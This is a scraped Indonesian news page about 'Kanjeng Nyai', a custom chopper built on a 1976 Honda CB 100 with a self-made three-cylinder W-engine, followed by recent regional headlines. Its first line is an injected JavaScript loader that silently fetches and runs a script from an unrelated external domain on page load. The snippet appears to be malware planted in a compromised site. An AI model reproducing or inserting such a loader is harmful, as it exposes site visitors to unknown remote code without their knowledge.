(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Chopper “Kanjeng Nyai” Berbasis W-engine CB Lawas


Motor-motor kustom garapan anak bangsa kembali meramaikan Yokohama Hot Rod Custom Show 2018 yang akan dihelat di Jepang pada 2 Desember mendatang. Di antara beberapa motor yang diberangkatkan, ada satu karya garapan builder Psychoengine asal Purwokerto yang datang menggunakan basis Honda CB 100 lansiran 1976. Kali ini, M Yusuf Adib Mustofa kembali melahirkan W-engine untuk Honda CB yang memiliki gaya Chopper, bernama “Kanjeng Nyai. Ubahan kustom ekstrem dari Kanjeng Nyai sudah terlihat dari tampilan awal. Salah satu yang menarik adalah model suspensi depan yang menggunakan springer namun hanya ditunjang dengan satu fork, alias monofork.

“Bikin sendiri, modelnya ala monofork seperti vespa, jadi cuma pakai fork tunggal sebelahnya kosong saja. Sasis rigid juga kustom sendiri, sampai frame dan tangki juga,” ucap Yusuf diberitakan Kompas.com, Minggu (11/11/2018). Masuk ke sektor mesin, tangan dingin Yusuf kembali berhasil melahirkan mesin tiga silinder W-engine baru pada CB lawas. Semua silindernya aktif, alias bukan pajangan, ketika melekat pada sasis, bagian jantung jadi terlihat padat berisi.


Untuk tenaga, menurut Yusuf naik signifikan. Dari kapasitas standar CB single silinder yang hanya 100 cc, kini lompat menjadi 468 cc. Tidak heran saat dalam gelaran Kustomfest 2018 lalu banyak juri mancanegara yang terheran-heran melihat mesin kreasinya ini. Apalagi saat dites naik ke atas panggung memperlihatkan semua silinder berjalan normal.

“Standar 100 cc, pasang W-engine total jadi 468 cc, untuk tenaga saya belum sempet ukur, tapi yang jelas lebih besar. Semua saya kerjakan, tapi kalau cat saya serahkan ke Hacka Painstriping,” kata Yusuf. Sementara untuk total pengerjaan, Yusuf mengatakan paling memakan waktu di sektor mesin dengan waktu delapan bulan, sementara untuk sasis sendiri hanya dikerjakan selama dua bulan. Namun begitu, dia merasa tidak ada kesulitan, hanya saya dia harus berbagi waktu dengan motor milik konsumen lainnya. (kmps)

Reporter : Kmps
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

1 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

2 jam ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

5 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

13 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

15 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

15 jam ago

This website uses cookies.